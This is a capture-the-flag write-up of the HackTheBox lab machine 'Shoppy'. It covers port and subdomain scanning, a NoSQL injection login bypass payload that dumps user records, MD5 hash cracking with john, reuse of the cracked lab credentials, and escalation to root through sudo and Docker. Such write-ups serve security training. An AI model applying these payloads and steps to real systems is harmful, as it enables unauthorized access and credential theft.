root💀bl4ck4non-sec:~#

Hack. Eat. Sleep. Repeat!!!

View on GitHub

Box: Shoppy

Level: Easy


Lets get started

Recon

Portscanning

command:sudo nmap -A 10.129.227.233 -T4 -v -p-

Nmap scan report for 10.129.227.233
Host is up (0.12s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
| http-methods: 
|_  Supported Methods: GET POST
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Wed, 13 Sep 2023 08:33:59 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 9
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 9
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 3.7812e-05
|     go_gc_duration_seconds{quantile="0.25"} 0.000136723
|     go_gc_du
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Wed, 13 Sep 2023 08:34:00 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 9
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 9
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 3.7812e-05
|     go_gc_duration_seconds{quantile="0.25"} 0.000136723
|_    go_gc_du
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.93%I=7%D=9/13%Time=650173F8%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,443B,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Wed,\x2
SF:013\x20Sep\x202023\x2008:33:59\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x
SF:20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles_
SF:total\x209\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count\x
SF:20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20application
SF:\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_gc_
SF:cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_gc_
SF:cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\x2
SF:0TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_to
SF:tal_gc_cycles_total\x209\n#\x20HELP\x20go_gc_duration_seconds\x20A\x20s
SF:ummary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collection
SF:\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_dur
SF:ation_seconds{quantile=\"0\"}\x203\.7812e-05\ngo_gc_duration_seconds{qu
SF:antile=\"0\.25\"}\x200\.000136723\ngo_gc_du")%r(HTTPOptions,2F0E,"HTTP/
SF:1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\x
SF:20charset=utf-8\r\nDate:\x20Wed,\x2013\x20Sep\x202023\x2008:34:00\x20GM
SF:T\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\x
SF:20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20ru
SF:ntime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counter
SF:\ngo_gc_cycles_automatic_gc_cycles_total\x209\n#\x20HELP\x20go_gc_cycle
SF:s_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x2
SF:0forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_forced
SF:_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200\n
SF:#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all\x
SF:20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cycle
SF:s_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x209\n#\x20HELP\
SF:x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20dura
SF:tion\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_dur
SF:ation_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x203\.
SF:7812e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x200\.000136723\ng
SF:o_gc_du");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=9/13%OT=22%CT=1%CU=35315%PV=Y%DS=2%DC=T%G=Y%TM=6501747
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)SEQ(SP=D
OS:D%GCD=12%ISR=104%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O
OS:3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Uptime guess: 1.644 days (since Mon Sep 11 18:09:25 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=221 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   131.36 ms 10.10.14.1
2   120.06 ms 10.129.227.233

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 13 09:36:12 2023 -- 1 IP address (1 host up) scanned in 760.96 seconds

From our scan we have 3 opened ports. Our focus will be on the port which runs http (port 80)

Enumeration

Lets add the IP address to our /etc/hosts file

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/HTB/shoppy]
└─$ sudo nano /etc/hosts
[sudo] password for bl4ck4non: 
                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/HTB/shoppy]
└─$ cat /etc/hosts 
127.0.0.1       localhost
127.0.1.1       bl4ck4non

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.227.233 shoppy.htb

Lets navigate to the webpage

image

Lets enumerate for directories using ffuf

command:ffuf -u "http://shoppy.htb/FUZZ" -w /usr/share/wordlists/dirb/common.txt -e .zip,.sql,.php,.phtml,.bak,.backup

image

The direcrories we can access on this webpage are /admin and /login. Navigating to the /admin directory redirects to the /login directory

image

We have a login page, but we don’t have creds we can use to login.

Lets try NoSQLi bypass,

image

We can craft a payload from that.

username:admin'||'1'=='1 password:admin

image image

We are logged in hehe. As we can see from the above screenshot we can search for other users. Lets search for the admin user

image image

Well, we can try to dump all users by using the NOSQL payload admin'||'1'=='1

image image

We were able to dump all the users in the database.

We’ll be performing some hash cracking here

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/HTB/shoppy]
└─$ nano hash.txt               
                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/HTB/shoppy]
└─$ cat hash.txt  
admin:23c6877d9e2b564ef8b32c3a23de27b2
josh:6ebcea65320589ca4f2f1ce039975995
                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/HTB/shoppy]
└─$ john hash.txt  --wordlist=/home/bl4ck4non/Documents/rockyou.txt  --format=RAW-md5
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (josh)     
1g 0:00:00:02 DONE (2023-09-13 12:37) 0.4329g/s 6209Kp/s 6209Kc/s 6560KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

Nice😎

Lets continue with our enumeration by enumerating for subdomains,

command:ffuf -u http://shoppy.htb/ -H "Host: FUZZ.shoppy.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fw 5

image

Lets add the subdomain to our /etc/hosts file

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/HTB/shoppy]
└─$ sudo nano /etc/hosts
[sudo] password for bl4ck4non: 
                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/HTB/shoppy]
└─$ cat /etc/hosts 
127.0.0.1       localhost
127.0.1.1       bl4ck4non

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.227.233 shoppy.htb mattermost.shoppy.htb

Navigating to that subdomain

image

We have a login page.

Exploitation

If you recall we found the creds for a user josh.

Well, we can try logging in

username:josh password:remembermethisway

image image

Cool, we are logged in.

image

So, there are two users asides user josh in the team. Heading over to “Development”, you should be able to see their chats

image

So there’s a user jaeger. Checking their conversations, you see this

image

Heading over to “Deploy Machine”

image

I think we just found ourselves ssh creds for user jaeger.

Lets try to ssh into the server

image

Cool stuff hehe, we’ve gotten user access. We can go ahead to escalate our privileges

Privilege Escalation

Running the sudo -l command

image

So we can run the binary password-manager as user deploy

Lets try to run the binary as user deploy

command:sudo -u deploy /home/deploy/password-manager

image

oops, a master password is needed

Lets locate the binary and run the strings command on it, hopefully we get something

We can use,

command:strings -e l password-manager

-e specifies the encoding option.
-l is typically used to specify the encoding as little-endian. Little-endian is a byte order where the least significant byte comes first in the memory representation of multibyte data.

image

We got a word Sample. Lets assume this to be the master password.

Running this command again sudo -u deploy /home/deploy/password-manager

image

We got the username and password for user deploy😎.

Lets ssh into the server as user deploy

image

We are in. Lets further escalate our privileges

Running the id command

image

We can see that a docker image is running on this box. To check the docker image running we can use the command docker images

image

It’s running the alpine docker image. Lets use this to further escalate our privileges

Checking GTFOBins

image

We can run that command to get a root shell

image

Box pwned successfully😎

That will be all for today

Back To Home